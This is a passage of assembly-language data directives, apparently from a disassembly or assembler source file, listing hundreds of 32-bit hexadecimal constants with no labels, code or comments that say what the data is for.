dd 0BC35E110h, 98F2BD00h, 62388667h, 55240166h, 965657ECh
dd 922438C2h, 9900B435h, 15CACD4h, 1D72AEh, 73295B82h
dd 48A4BFF9h, 9997BE25h
dd 7E10C2FCh, 0AB0069FEh, 657491A1h, 48B81341h, 984D5424h
dd 52D41D2Eh, 2A20608Fh, 5B4E093Fh, 0C089E099h, 0D5BC2643h
dd 21690061h, 0AF1D0AA5h, 0FB044928h, 35756B80h, 0A63C4B4h
dd 0E594CE99h, 0D45D0330h, 4DE0494Bh, 0F502B7A0h, 0EF0AF31Fh
dd 59844980h, 0E62479C6h, 4A14181Ch, 0A0E8AC5Ah, 28761B31h
dd 2224679Dh, 5601545Bh, 136066A6h, 0D032AFF8h, 0BF092600h
dd 1667BD50h, 353C05F0h, 18F2198Dh, 407248C1h, 0D377EF00h
dd 268D2E03h, 1E8B5A07h, 82FE94F3h, 44A74952h, 2AFF09B8h
dd 0B0E8B71Ah, 317C5126h, 60F24613h, 20FD10C2h, 7B0F674Fh
dd 0DC27A0B9h, 8F42008Eh, 91C5EF58h, 0F3F98C13h, 8A922060h
dd 993360E3h, 349D1EDh, 56306507h, 6D70C48Fh, 972093h
dd 0BC92A6ACh, 7B8880F2h, 174990F8h, 0AF5912F8h, 95336C90h
dd 0C5E4015Fh, 0F2BE0B99h, 8E102CF1h, 0CCD9D359h, 501918A5h
dd 4E96D0BCh, 0A4107E02h, 5AE4B7ABh, 1DFA0048h, 73153EB4h
dd 932D7F8Dh, 0AC10988Ah, 334889CAh, 0CBF200C8h, 0CFE4DF7Ch
dd 72D80037h, 453B219Bh, 0F70165FAh, 0C0608358h, 0D4215956h
dd 6F00A436h, 0D599EC24h, 0E417DBA4h, 34298066h, 0A7E97E4h
dd 46A5719Fh, 3511F4h, 94FDCD84h, 744FA9h, 0E1ABBDE3h
dd 0C3AC52B7h, 3CB0BE00h, 4AC28FF4h, 0AA250007h, 940CECE3h
dd 2B190FA2h, 0A81947BFh, 35411F8h, 4A4BAC84h, 0E1887EDCh
dd 0FC074CE4h, 5FE0592Bh, 5EE6BAE0h, 7410CAAh, 2508C670h
dd 26C36807h, 0F4B42B06h, 710AE980h, 33E400C0h, 0AF28909Fh
dd 0AC017D4Eh, 0C3A4E204h, 616014E0h, 0BD36060Fh, 8865CBA9h
dd 3CD64100h, 0EBE5C947h, 611A033Eh, 0B6FBC269h, 0C1042006h
dd 4581A8AFh, 8CC2E09Bh, 19C85A50h, 9E4AAF0Eh, 42080330h
dd 0F17680A3h, 313D0188h, 4FE934CDh, 41F98748h, 491CF37Eh
dd 16C931A9h, 0BA74C419h, 847580E9h, 0D1ECE5A8h, 15220077h
dd 82A570D0h, 3406CCBBh, 73C4DC50h, 19313931h, 7B624800h
dd 0CA2ADA77h, 2E0F5FE4h, 0AEBE4D40h, 8E8CFF23h, 9E4A799Fh
dd 8839140Ch, 88475D00h, 1B9B61E5h, 0BF303BE6h, 49DBB11Ch
dd 48393931h, 0A6922E00h, 9918E608h, 77331F1Eh, 588C2A01h
dd 0BFD10442h, 0B0EC7440h, 39AC0135h, 41FB6689h, 0A1E8407Ch
dd 3B7480CBh, 108DE004h, 0C8218CCh, 0C132014h, 8F001545h
dd 0A2F12C99h, 0FADA6904h, 7C3E0A87h, 809878F2h, 0CA3F8BB1h
dd 66F86A34h, 0F0C5C900h, 0D0112D49h, 3BF828C7h, 345B0ECh
dd 76611C51h, 69074D46h, 0F256FDA1h, 4A115D40h, 88AB1C94h
dd 21775842h, 4B0204ECh, 0A9608431h, 1D184492h, 454746FDh
dd 8AD76C7h, 13802ADCh, 0B0233D1Fh, 82E1FCAh, 1060248Ah
dd 80AE8876h, 0FBBCB98Dh, 0F60613C1h, 6229DA68h, 2B9E0061h
dd 0D7F30423h, 2F0CA13Ah, 992979D5h, 8D4F0141h, 68DD5698h
dd 0C485E4CDh, 0ACB6C0Eh, 2D15E1E9h, 6987970Bh, 20EADE56h
dd 8C187D5Ch, 877F273Ah, 3B9D6D62h, 7E81C590h, 0D8C14991h
dd 6C93A90Ch, 28EECB69h, 0CA43949h, 0C92387BAh, 0CC1F3A69h
dd 2C6CE624h, 93B40E0Ah, 0B02488C9h, 0EC30805Dh, 0DFEC3762h
dd 0A147B300h, 46C0E334h, 2B763C07h, 0DF30BAC4h, 0F25D5921h
dd 83EF3193h, 0D06BE240h, 88164CA1h, 320C8A7Dh, 1EAAD929h
dd 0BA9758F8h, 410DC498h, 7C00540Ah, 0A1967E10h, 77603ED5h
dd 0D4FC7746h, 0B5C06C39h, 607213B7h, 0E40BD807h, 0BED0B346h
dd 9E7F494h, 8D1A6550h, 4C38528Dh, 60000E50h, 0AD022DD5h
dd 647ACCF8h, 24D2888h, 6129BBh, 81B8B341h, 0A1125598h
dd 0D8304A60h, 0EBA052h, 0FFEA9A0Ch, 0E42E1448h, 77973200h
dd 0DF490F79h, 0F4CE04BBh, 8215E82Fh, 88201190h, 653B1Ah
dd 9EBE9239h, 0A42B89D5h, 0E3C8CE01h, 5AD24E66h, 0A85BD040h
dd 50484852h, 0F3EB3C1h, 0D564E0B7h, 4A81F900h, 0EFED9A44h
dd 78C430DFh, 8E716329h, 0F0F38400h, 9D85EE77h, 0AF6C00D9h
dd 8DE2ACF5h, 0E898812Fh, 6801F8A6h, 0EAA3F0D1h, 0B03063C8h
dd 78418A7Bh, 0E98F08ACh, 0E3706711h, 0D3D41900h, 540CF218h
dd 0BAB900EAh, 624BDC6Ah, 8F14A6EBh, 6084B4DFh, 0BF23C738h
dd 3F49C10Eh, 0F8AFE46Eh, 2C011728h, 0FCC01E21h, 69811529h
dd 8D901DDCh, 0D09DCACh, 0EBBF5B00h, 4CB046FAh, 0D6D30134h
dd 75CCD36h, 754C2098h, 5B10B9D3h, 6542765Ch, 0FA478802h
dd 98A30FC5h, 64D8C1D1h, 559802F1h, 33458538h, 0EAA1BA60h
dd 145C4676h, 0A09CE404h, 0FC8049C8h, 7EF72A20h, 5C70438h
dd 8027EBF3h, 0A778E390h, 0CEF17080h, 0ADA07549h, 0EA29CA0Eh
dd 4B97E712h, 4283E408h, 0C423798Fh, 31A90029h, 7EEED753h
dd 0C382CECh, 777F802Dh, 0FFCDA911h, 1031C827h, 2380CC80h
dd 0E47ECB3Eh, 0BF6126A6h, 0E7E840A0h, 0A200982Fh, 0FFB9AFC4h
dd 0CBC009EFh, 0B70374A1h, 4F884CF3h, 0A809FDB0h, 8FF9E8FBh
dd 41D1FB23h, 5402BCA8h, 4AB92076h, 0FF00543Dh, 0A1CEC7C1h
dd 5AB255Fh, 0F4934C85h, 8664880Bh, 3F9E1C00h, 54D89A80h
dd 0A11660BFh, 44B4CF5h, 0AC89EE00h, 384630FFh, 0E7151h
dd 0B3505E8Fh, 4CDFAEECh, 0C0407032h, 775C4167h, 802BC411h
dd 0FED2AE91h, 17C291h, 4D644F45h, 0A4A87B5Bh, 0D6E489D0h
dd 21047D00h, 0FA67DC48h, 0CEA30C3Ah, 0BA214697h, 595FEA31h
dd 41809D70h, 0E64E264Ah, 0A209FB2Fh, 891DD976h, 16AE8035h
dd 29F6689Ch, 11B41CC2h, 9B241EA8h, 0A29FD7DDh, 0DD93641Fh
dd 42A9A002h, 483C41A6h, 400CC13h, 88B42060h, 505FF645h
dd 0AE6094h, 0E9E9714h, 8843E027h, 0E9C08CFh, 0C49068Ah
dd 8C7E0711h, 16F028D0h, 0C6F820E1h, 2EA01E4Bh, 0B8080C46h
dd 50499F89h, 3D172522h, 7380A7D7h, 0F831725Eh, 7EEC0D9h
dd 51F55500h, 2C8B68B2h, 0A67EBCh, 858DAE96h, 222416B5h
dd 10491706h, 5943ADh, 8B96C6ABh, 75B18583h, 12A6E504h
dd 8A83EAC8h, 0CF990010h, 82DEDF53h, 0D903B9EDh, 76EC3A77h
dd 90DB07Eh, 339B060h, 39A88D87h, 80F88EA9h, 80F10A1Fh
dd 3CDE0781h, 63253122h, 4008C92Bh, 4D1720B7h, 2C7CCC64h
dd 34053C4Ch, 545D79FEh, 9083E480h, 41EBC0h, 2969AA60h
dd 0C55E5CE2h, 373C2539h, 8D675918h, 38C6FC10h, 0CD9B00DDh
dd 83436201h, 0A273BB0Fh, 0B8E056h, 8597922h, 8896AEE2h
dd 473F7E2Fh, 9D67824Dh, 0A32349FDh, 0A01BE8DCh, 1DF7D491h
dd 0A8518273h, 0A74220B8h, 5215393Ch, 537D00DCh, 561ED33Ah
dd 2817192Eh, 0E32549EBh, 0F57C8900h, 85C3D182h, 0F701815h
dd 1F4AA114h, 367DC800h, 75121A46h, 1B3801BAh, 0A70F718Bh
dd 0F29B80Bh, 20A1FF36h, 43285024h, 14AD075Ah, 0D30D81DAh
dd 0F087E89Bh, 287D2D17h, 811681C8h, 3ABD72A0h, 9A8EE845h
dd 0D300787Dh, 9F5F89F4h, 7E28815h, 29B30C3Bh, 890D236h
dd 4001E484h, 0F6ADE87h, 9180ED93h, 0B0AD99F5h, 560493Dh
dd 0A5A376F1h, 1E8F8BAh, 884B94D4h, 87092A17h, 25BDFF21h
dd 9480F2E4h, 0EA157E26h, 49A4A842h, 29D60Ah, 9877DEA4h
dd 31607345h, 0FACDF48h, 810A6391h, 3978C217h, 8190AD00h
dd 0A19F4F3h, 1AA23143h, 8011F2B9h, 0B984AA31h, 0B65E86h
dd 0D67AA41Eh, 850F55D9h, 88245800h, 0FECEFDC3h, 3368C896h
dd 9F40AD88h, 3CD4007Dh, 0BA8F7241h, 87B22D00h, 881695BBh
dd 0CF2B00E6h, 2A272F97h
dd 0ED388F9Eh, 433884A0h, 0D0E98Ch, 7131787h, 7BDD8E3Dh
dd 195B80EEh, 1561900Fh, 21B69871h, 0F85CD980h, 0A002DBC1h
dd 1D97E107h, 8B919661h, 1831016Dh, 2451A7C4h, 41E40F3Fh
dd 0DC45DA1Dh, 8005E4Ah, 92A63255h, 7B0757h, 0A5A4D70Bh
dd 8E8C15CFh, 8643D9C2h, 0FE98A126h, 8448138Bh, 19106025h
dd 0D42E11C2h, 923C85F0h, 0C4D28Ch, 88ED8413h, 302538F0h
dd 1590A28Fh, 0D61FE8Eh, 19263C60h, 0A417D310h, 2400ADF4h
dd 0DD6399AFh, 18AB1Bh, 0F1B8518Ah, 3F95C023h, 0E0B46816h
dd 12312F00h, 9A7921FBh, 204345BCh, 10E9AF24h, 6E1D9E6h
dd 263EB932h, 0C1041928h, 86C8B485h, 2A8794D0h, 0A9C50711h
dd 0CCAD3DD6h, 0D1752F10h, 0C35C3F4Ch, 80846B4Dh, 13149E4Eh
dd 78574D4h, 9ADEE2D8h, 920F066Ch, 2A03810Ch, 2F6DCB12h
dd 6F35E811h, 687B0531h, 88854324h, 8131B810h, 0F49C14Dh
dd 0C28019BCh, 965A68FAh, 67A01C7h, 81136B1Fh, 836F2500h
dd 371492FFh, 8289738Ch, 0C41C8Eh, 9187F50Ah, 0A23B905Ch
dd 1535A09Ch, 0AD5106E7h, 0B9B59D87h, 0A7349C02h, 609AEAB6h
dd 900F79E0h, 0AD39C662h, 0A57541ABh, 337C700Fh, 5D4540C8h
dd 1BA2D1Ch, 29BEA651h, 4788DAB3h, 62A890B0h, 91005EC8h
dd 0E4A0F33Ah, 487D9FD2h, 0A111C81Ah, 0A8870C1Fh, 0E603614Eh
dd 0A8EFF1E2h, 0BC1462h, 356E5C89h, 0F1A6DA9Dh, 8192A006h
dd 4D488BE4h, 8581003Ch, 0F449A76Eh, 0F100FAFBh, 8737FE34h
dd 99DE5098h, 0DA1A8FB0h, 0EDE7C0AEh, 385BE076h, 0BE04B1BBh
dd 330F5E65h, 0E17CE840h, 0C31C626Ah, 5F80C52Fh, 6BAA9380h
dd 0B8E7012Ah, 0E08F9CC6h, 5C8321Ch, 9EC1068Dh, 0FE572427h
dd 31929B90h, 4C5B1F69h, 0D37B407Ah, 4F51F3E3h, 0C098F40Bh
dd 0C8D30825h, 0A3E8DA81h, 4ED0F906h, 59D30113h, 0A28C29A1h
dd 723B7093h, 8E1C3890h, 0AA7C435Eh, 0BC98A82Ah, 3E6D6800h
dd 3FFC5322h, 8441227h, 334C20F2h, 5A38CB97h, 793DE3h
dd 0E5045D30h, 880F4951h, 0C8009456h, 633ED083h, 0FA0AE7h
dd 8477C0AAh, 132566B8h, 8B6171C0h, 0EFB1B67h, 1AB4D557h
dd 0EDAECB20h, 0A60966C6h, 24916027h, 3C41A874h, 20BC58A3h
dd 64F0710Ch, 293A3F0Bh, 0AD980311h, 3129004Dh, 8C826DB9h
dd 0D37ED774h, 0A6345700h, 0BADE72E6h, 0DB602ED8h, 0AC0F068Ch
dd 43E0E101h, 1468FF26h, 1258AE1Fh, 2C4819h, 0F3180A90h
dd 0AB0C11A7h, 0BC56FA00h, 4386962Eh, 801E5549h, 0D8C120h
dd 879D317Dh, 383EF57Ah, 15925800h, 818D90E5h, 854116B2h
dd 92C2212h, 0E805C24h, 6898A90h, 0B6BE5FAEh, 0BD00591Bh
dd 51191DC7h, 72D9BC0h, 0AC831A36h, 74DD80AEh, 8B3C067Eh
dd 543A1A62h, 291060C0h, 0A841C00Bh, 0D4367590h, 3EEC2C02h
dd 0A616380Fh, 0F029897Ch, 92A2023Fh, 0B425D8EFh, 0A638F44Eh
dd 14A048EDh, 5C0FF6h, 0B3103B5Eh, 0C2F11Bh, 0C62FD4E0h
dd 3931F9E5h, 94119100h, 3F20A6AEh, 0BFAC074Eh, 21CFFF37h
dd 65142631h, 0E4A82438h, 3C06B900h, 9A03F6D4h, 7725F85Bh
dd 7FE5099Dh, 3488BFA0h, 455861B8h, 0EF3880B3h, 0F5813BD0h
dd 0B06004Ah, 4F6E708Ah, 1C904DB5h, 7ABF6903h, 0A0B98695h
dd 0C5147B53h, 80A420F8h, 172A8834h, 102C274Ch, 502E0F5Ch
dd 2592178Ch, 290882F4h, 1769982Ch, 319415F6h, 9F10CCE0h
dd 0D218D28h, 0E321C517h, 0CA3A59E0h, 0D8195234h, 13109882h
dd 587740B4h, 2D94DDAh, 0CA46535Ah, 50480DA7h, 363AF6E1h
dd 3EB89DA3h, 1F08F303h, 25611822h, 9594792Dh, 29710103h
dd 0CBAE061Ah, 0B3695017h, 0C4830050h, 5FA6DF5Bh, 84E49465h
dd 26C8E200h, 0D2BCA016h, 0CA1F0325h, 0F21108E4h, 110C614Ch
dd 49289E8Bh, 3D78003Ch, 0CCA77C3h, 6E07932Ah, 1EDDBC6Dh
dd 583EA0A1h, 38EB048h, 4C3DBF85h, 50129B22h, 70885FE7h
dd 1C460161h, 3F9647EFh, 40A9ED5Bh, 0F180F238h, 0F8900AFEh
dd 0ADD851E1h, 8510404Eh, 29001BF7h, 23B90390h, 75A6352h
dd 2406776Ch, 32FA717h, 0BD90AE86h, 443EA337h, 19913F22h
dd 7E494CADh, 716DF4h, 7AFC5A47h, 246CE2BFh, 414E5B01h
dd 0DD4AFA97h, 908FC842h, 9689B8B8h, 1BA442E4h, 0A308F222h
dd 0DEC3D9BCh, 0E3010080h, 0FEE16BFDh, 0E8043F83h, 0A8AD869Ch
dd 38503240h, 0E73E4831h, 199430DEh, 0F6FF8FEh, 69969FCFh
dd 0F0042D21h, 0A47985C5h, 0C8C2CE95h, 0A8902B23h, 2C0F4380h
dd 65927E66h, 4C28EDFh, 54E69Ah, 0B78AC231h, 6FCCA7AAh
dd 1C08655Ch, 0C1B1AB0Fh, 8321117h, 0BCC3F614h, 46B2F1C0h
dd 23003CAAh, 50DFCDB7h, 0F0169BB5h, 0A4B0014Dh, 281713B9h
dd 282423AEh, 433E788Ch, 0C74458A3h, 25E4465Eh, 84057483h
dd 34F88Ch, 0ACF1F623h, 0A907B25Eh, 0EB012F75h, 0B39562Eh
dd 43D00310h, 42CCA68Ah, 8E310085h, 0A47D300Ch, 1D910005h
dd 0B59FF82Bh, 4CA0CD80h, 0AD0004E7h, 3F530B0Eh, 3D92E5h
dd 86365D8Eh, 3EBBF7A4h, 7462853Bh, 0A7F04725h, 1A0093ACh
dd 264FE6CAh, 3EC0C250h, 0F19AD44h, 0AE5078DCh, 0B003C29h
dd 69BCB1A4h, 0F00CD2Ch, 0B968A231h, 7885EF8h, 0D60465D8h
dd 1125C36Eh, 6C59D101h, 0B094913Bh, 3540A8DBh, 445F4D1Ch
dd 0F507983h, 590099E6h, 5E479385h, 20D306h, 0A5FC04D9h
dd 0F9A3F184h, 8B407D0Ch, 99F26114h, 0E59E0014h, 3E886C1Bh
dd 90789400h, 0A5EAA32Ah, 418A4A41h, 434EE3F4h, 0A0942C8Eh
dd 4F5402h, 872537E4h, 12CC735h, 0CF5C1C7Ch, 404E00FFh
dd 3DB2E20Eh, 9926h, 838D945Dh, 0D090C593h, 24BA4500h
dd 8A251F6Bh, 0B4900FA0h, 9D258B52h, 0EE0823Dh, 0F884F320h
dd 2C254CB1h, 0D89FA603h, 80D54CF9h, 7F53A788h, 7300A87Ch
dd 0BA87C78Ch, 99D73965h, 337A80BCh, 18BB80C9h, 1DA29602h
dd 46253F30h, 336F6A4h, 7FA73A87h, 0B4F49EE5h, 0D700DA48h
dd 57A18940h, 0C6BDC0h, 0A625F29h, 0FFDC4407h, 0AD7C9D0Bh
dd 0A85498D8h, 8DD50113h, 0CC7A202Ah, 66E7057h, 0ACA96E00h
dd 9379CF99h, 522B4B17h, 0DCA488E4h, 3A294700h, 6B522039h
dd 65CE3E6Dh, 882B1450h, 710183DEh, 2A4F1675h, 0EC21A8FBh
dd 0F828E44Dh, 0DF0BF380h, 740F6F63h, 400464ECh, 0C2F88D50h
dd 885A0169h, 0F58705FBh, 124840B4h, 0EE00B29Ah, 947061D4h
dd 0EC6DEA0h, 17C5335Fh, 0E7A80A28h, 0AD4EE600h, 0F6B08B8Dh
dd 0ADFBF191h, 5E3CE881h, 7994AE0h, 95C790ADh, 0E208840Fh
dd 900C22D0h, 70B26DCh, 7036114Ch, 80F53C3Fh, 28151126h
dd 3643DB7h, 0F7E5B87h, 294376AEh, 4E4601BCh, 786222C8h
dd 5C80DCECh, 0A03BEBAEh, 114A7A80h, 0F38B825Ch, 8EE3210Eh
dd 13F289F1h, 3D50E0F4h, 5BE63BB3h, 49916C3Fh, 81FE071Dh
dd 6B80019Ah, 2E833CAh, 0AD6432F4h, 85418504h, 22B43994h
dd 0A8EE0016h, 8B5047Ch, 4A2E8225h, 212D864h, 8D203C30h
dd 0AEBF0EE8h, 0EC9D1A7Dh, 0E0C4288Ch, 61FF800Ch, 25642Ch
dd 910A4F0Bh, 0B8112F58h, 71BE92h, 9BA7AD3Ch, 2BAB22B5h
dd 80909DA6h, 2843E0Dh, 1A00DAB7h, 70480758h, 6C9E80h
dd 0C54209DBh, 2C646087h, 0B7670C6h, 3C124C59h, 0C02B69C4h
dd 98F7BC6h, 807E0539h, 3DD4F997h, 0DDFAE73h, 0A4E08E3Fh
dd 7203CDC8h, 163B0098h, 284C3925h, 4F43EA1Bh, 202C20A1h
dd 8D321311h, 127138A3h
dd 3F1430C0h, 9B952703h, 0C81C252Fh, 0A1379EF8h, 41E20898h
dd 0F18B8E1Ch, 0F1EA4h, 49F95A2Ch, 60885007h, 0E1D0AE7Ah
dd 0FC63F73h, 0BB2A0903h, 5A252040h, 132C1C65h, 32086878h
dd 960F0629h, 8C99F9F1h, 396F1980h, 3A89E69h, 0B83A9706h
dd 4BDD2EA6h, 7005CBE8h, 0E0448198h, 49839AEh, 0B983C8F8h
dd 3936081h, 4C7D0517h, 4EC826DCh, 39199160h, 5B09B237h
dd 45FC205Bh, 883921F5h, 80033B62h, 66F254B7h, 90996101h
dd 709080AAh, 72C8C92Bh, 47761C94h, 9B8EB912h, 2F413C80h
dd 0FC155017h, 1F014093h, 96250D44h, 4B968068h, 8365DDFFh
dd 0F5DAD700h, 0AD0F3168h, 9DC9C305h, 0D28D701Dh, 8A292608h
dd 5901BBFCh, 388C5322h, 0B817503Ch, 3C802081h, 172CC65Dh
dd 2169AC16h, 68940F28h, 99B49448h, 78003A3Ch, 4CF76918h
dd 0D899F0E3h, 9F54EF80h, 71D4C2C7h, 0C48807B4h, 0A0196428h
dd 203283E4h, 0F0507F30h, 48FFF548h, 0A7103C2Bh, 0D12830A8h
dd 0A2C8A5E2h, 38288AE4h, 9229150Bh, 0DC6658h, 947D8443h
dd 70CBFCDBh, 0C76B9516h, 1F9B4805h, 1207DCD2h, 4F0D2000h
dd 7100E689h, 0BD78D42Eh, 4333A1h, 0EB1C675h, 3E86B828h
dd 0C70A4E90h, 90B7F9E3h, 0A4050C11h, 309D225Fh, 2FC26ED0h
dd 40968000h, 16311A99h, 45894F43h, 4034F2ACh, 48E1FCA4h
dd 360FD8EDh, 0EEE3A33Ch, 3AE8E03Fh, 12AD5D9Eh, 0C8E4BA3Dh
dd 0B5023CCCh, 34D8E0ABh, 1C520Fh, 94F7AEDh, 86BEB003h
dd 98B6B926h, 6B309147h, 0D825D5h, 0EDF39E3Bh, 9FAD84E8h
dd 856FEA17h, 8467380Bh, 60D994CCh, 3DC72D6h, 0ED695FABh
dd 87E23EBCh, 10F70041h, 0AF707Bh, 0C669E93Dh, 2587D0C3h
dd 0E3911F0Ch, 4E63F806h, 1540200Eh, 70B14EA9h, 59460F80h
dd 0D2BE7Eh, 0D367B090h, 5880F519h, 258BA400h, 0A33EBD61h
dd 0A24A0121h, 0C3172D1Ch, 6C41A808h, 8286E707h, 39609887h
dd 0A4598815h, 6B1B44F4h, 0D1435A00h, 446AF4A4h, 0C284007Eh
dd 65486EABh, 0F16193Eh, 0E0201C8Bh, 764BFF6h, 26FEAEACh
dd 0FFA9F184h, 108025AAh, 5679DA2Ch, 751C8D00h, 0F8966D4Eh
dd 4AF50EBAh, 0F4C06CC4h, 6F132AC2h, 391E074Ch, 5A0600D4h
dd 40D1E208h, 0C1E48A1h, 7880FD88h, 20607E7Dh, 570900A8h
dd 13352B22h, 42FE236Ah, 99CAF805h, 584889FAh, 0E08D44F5h
dd 2561B400h, 9FD838B8h, 8C409100h, 87830494h, 900D7985h
dd 0F0F63C6Bh, 0B48ADh, 295E1992h, 0FD876AC6h, 7C80B1F4h
dd 0FB4BDAh, 0CF835928h, 1AC4B6C2h, 5820664Fh, 0AAA1F5h
dd 5EFF4DE8h, 0D42104DAh, 3FA2A701h, 0AB99EBB7h, 13263441h
dd 35595110h, 556E2C00h, 717EA9FBh, 823F16A7h, 0E72021ADh
dd 0B4C0EAC3h, 1400E6BEh, 0B87B7ED4h, 70F7855Ch, 0D82C04D6h
dd 0B438F371h, 0A10E2450h, 986F461h, 5E6C04B0h, 49689840h
dd 11DC06E0h, 2C4425h, 0DD14FEE5h, 0A6371009h, 3C313C2Ch
dd 946DAE60h, 0AA5B0003h, 2F1F71Eh, 5E0986A4h, 0E60180D8h
dd 0DA210420h, 0B32E55D0h, 913900F0h, 3FA83C07h, 267A250Ch
dd 5B800048h, 711DB21Dh, 402FAC43h, 7E539849h, 0C8414A82h
dd 2513C560h, 6C08B397h, 5B3C8154h, 874FADC1h, 9DE60A11h
dd 0F3E7EFC0h, 0F97084h, 0A8BDF0D0h, 0ADC5A5F5h, 0D442A024h
dd 0E8C87412h, 257D889Fh, 0ED803C96h, 8E0838F6h, 0FDC80037h
dd 137BD97Ah, 0AF033366h, 1728142Ch, 1DA4A031h, 0E1FF1791h
dd 413C1943h, 242DF2h, 5E3A7A9h, 0B48E9CBh, 319F4A04h
dd 55172082h, 40A608F8h, 57D79900h, 0D9B9D5F3h, 0AC8900D6h
dd 0CC7B4F59h, 0CB779B2Ch, 0E937D08h, 3B108016h, 0B2071CC2h
dd 0E3364100h, 0CC4858Ch, 928947Dh, 0C8647743h, 2E3110E1h
dd 30440FB4h, 6BA9AEFCh, 60AC50C9h, 0AA588520h, 0CC1D694h
dd 1C2D2B7Ch, 56820680h, 1F0B32CFh, 58EB263h, 380325A0h
dd 0C7C860E2h, 0B1CAF330h, 8D9401D7h, 40199158h, 80D87CAEh
dd 7CEC2C44h, 0FAD0543h, 0C23E9F20h, 7104ACE8h, 897D3CA2h
dd 12409150h, 72C5CF00h, 0B9FF8CEh, 2C43E300h, 0BF56325Ah
dd 0C8915222h, 679617h, 0F56EA37Ch, 0EE0D9BA8h, 2144AB0Ah
dd 618341F9h, 3BD37109h, 8FA121C8h, 5C071601h, 0BEB72945h
dd 9E0DC3ECh, 142C9138h, 25508FB8h, 0E746464h, 0D1DBC1ADh
dd 93656240h, 78001F27h, 564F759Dh, 0F308F2F7h, 6D099823h
dd 0C0649ECCh, 0DA1544h, 96C32B53h, 5E5AC04Ch, 0D05F012Fh
dd 0F90FEC1Ah, 1689B03Ch, 2C4FC031h, 7FB9802Ch, 0A921D7h
dd 0FA0BB1F2h, 0EEBAD61h, 0CE64B600h, 4301678Bh, 9413488Ch
dd 3ABEA8C8h, 69F2448Dh, 0ACC6196Ch, 8F52D067h, 4F93130h
dd 0A49500BBh, 632D45A5h, 0EBE24E60h, 0C50F5BFCh, 0ABC873D8h
dd 14B801A0h, 0CC335985h, 62001122h, 1EF7047Fh, 0E15D9Fh
dd 0D453DB17h, 4F4EF9CDh, 6B0BB8B0h, 0E408B8F7h, 85660060h
dd 22AB9307h, 40FE9E59h, 13F13100h, 296EEA0Fh, 3C022E92h
dd 6FA660E4h, 657E73B4h, 0DB719101h, 5CD4CA02h, 512C90F3h
dd 0F591237h, 0AD3C2190h, 0AAB18F97h, 176F2040h, 0EB9D331Ah
dd 413424h, 546086AEh, 0A983148Eh, 264400BCh, 0F189E243h
dd 68D08C84h, 0F01E3D02h, 414D97BCh, 2E0CAB08h, 0FFE4B789h
dd 8E5D1D29h, 811AF915h, 0F818295Bh, 0C200773Bh, 8E34A9F2h
dd 392144C4h, 0C88054F9h, 6876D305h, 0AE023C0Eh, 821E2BE3h
dd 72F2E00Bh, 3FE2E432h, 0B83DFFA0h, 0DA0E2CD3h, 9B401C67h
dd 43FDEB13h, 9244FB00h, 0BA260F48h, 62A624A8h, 8C140265h
dd 24DB0DECh, 0D6235400h, 0CA5864h, 0A58E6CBBh, 0AF894190h
dd 0CC39F289h, 8AD85D0Fh, 9472B3E0h, 9779BF3Ch, 0B1FFDE00h
dd 37D3498Fh, 0A765188Dh, 0EA471CEh, 8E3C80h, 0B6365D6Bh
dd 0F310543h, 9340AC5Ch, 7ECEB830h, 6E3F00FAh, 4693233Dh
dd 0ED00D62Fh, 5FF7BAC6h, 87DF2F6h, 2848494Eh, 19A70F09h
dd 1208C5B8h, 80151989h, 6C622F92h, 72348D07h, 1A60998Ch
dd 80BE41h, 0A8CD5140h, 0EAC25C4h, 5A80D49Bh, 5B8D7723h
dd 96F10E02h, 87F27F8Eh, 0BC26A090h, 6617229Bh, 0A090B5B8h
dd 70B9E7B7h, 0C4590060h, 425B52FDh, 69294DE3h, 8F80C055h
dd 832B13ADh, 0A7C60107h, 66D08734h, 80B82858h, 0FD7A71A8h
dd 5B8034Eh, 0BAD47E08h, 23508001h, 45281767h, 91F68850h
dd 5A38B048h, 0CFE0701Bh, 0EC7B89B3h, 0E8F3FE00h, 31C0F919h
dd 72013F48h, 0ED2C27FEh, 0E4C16442h, 0A4602A0Dh, 0B8454A84h
dd 49CE44DCh, 18C92460h, 993981h, 60C2B96Fh, 56552F3Ah
dd 25DE4938h, 48C8C68Ch, 484C4DB8h, 90A0EF04h, 8F5CCC52h
dd 0DBBBF000h, 0E24D8B5Eh, 0F5870085h, 0EB7862D9h, 38273F49h
dd 84451h, 12A26933h, 9DFC2DEAh, 62610F4Ch, 521C1769h
dd 0A293F8DCh, 1288DB40h, 0F62038A9h, 4C8D152Eh, 2025596Ah
dd 0A3743A50h, 0F72C00DCh, 69DFBCFh, 4500A7AEh, 3224A858h
dd 2EC5ADABh, 254C1C91h, 0E0984C02h, 0C71DA12Eh, 8EF125D1h
dd 8921F033h, 3780A290h, 138F40CAh, 34220B9h, 0BA1FC015h
dd 2E477FACh, 2F066F7h, 950F2D14h, 30C36CA4h, 91B6EB8Eh
dd 24C0040h, 117CD1DEh, 0F9AD904h, 50A2FD94h, 5C001022h
dd 5A6F50ADh, 0BBC97F5h, 1135D954h, 6E01B980h, 2377FB2Dh
dd 5EEF812h, 330020E2h, 0E8BF6918h, 3F0F3486h, 67589E56h
dd 31A05F6Fh, 0F4606AFFh
dd 442C9042h, 8B005020h, 0FAB9862h, 0A49E94AEh, 3A1945E8h
dd 0C7BEF820h, 6C2000E2h, 663783FAh, 67005D4Fh, 629EC692h
dd 94A98815h, 2AC24058h, 58B03B17h, 52232406h, 21ABAAh
dd 46D56B2h, 9E30A8DBh, 72D43D00h, 91243FC8h, 0B031544Bh
dd 0CC109528h, 270F0733h, 98FFC96Eh, 0A4409D38h, 0FB0C4484h
dd 2FCE7502h, 0FAAA3085h, 4F818h, 9589A91Ah, 0E5E91E0Ah
dd 11ECE6A0h, 0C06F0F24h, 5CE98F64h, 2E48A709h, 0EB50EC83h
dd 85387D0h, 6F07C496h, 0BC433802h, 1700E7CFh, 919715DEh
dd 90AD8564h, 0B0EC374Fh, 54078487h, 2DECB103h, 0D0798BF3h
dd 13AFAA94h, 0E2C1FE78h, 857000C4h, 9BC9C240h, 0DCF5006Ch
dd 0E77C8D73h, 449887A8h, 8E50A095h, 1CBEB67h, 0FE2251A3h
dd 150A0EADh, 0E6963100h, 13A0DC45h, 90C217C4h, 0B8D7AEF0h
dd 5FA33709h, 9E0C9822h, 0A102003Eh, 0BE55B77Ah, 0AD2EB0E8h
dd 0D00676Ah, 0F36C4A74h, 910F2669h, 0C8B06E00h, 944E42AAh
dd 0F7808C79h, 0D3CB3970h, 0BB2F006Ah, 4324109Bh, 4A0291A0h
dd 0BE1338C0h, 0B0ECDAh, 0E6508CFh, 0B865694h, 0EB177101h
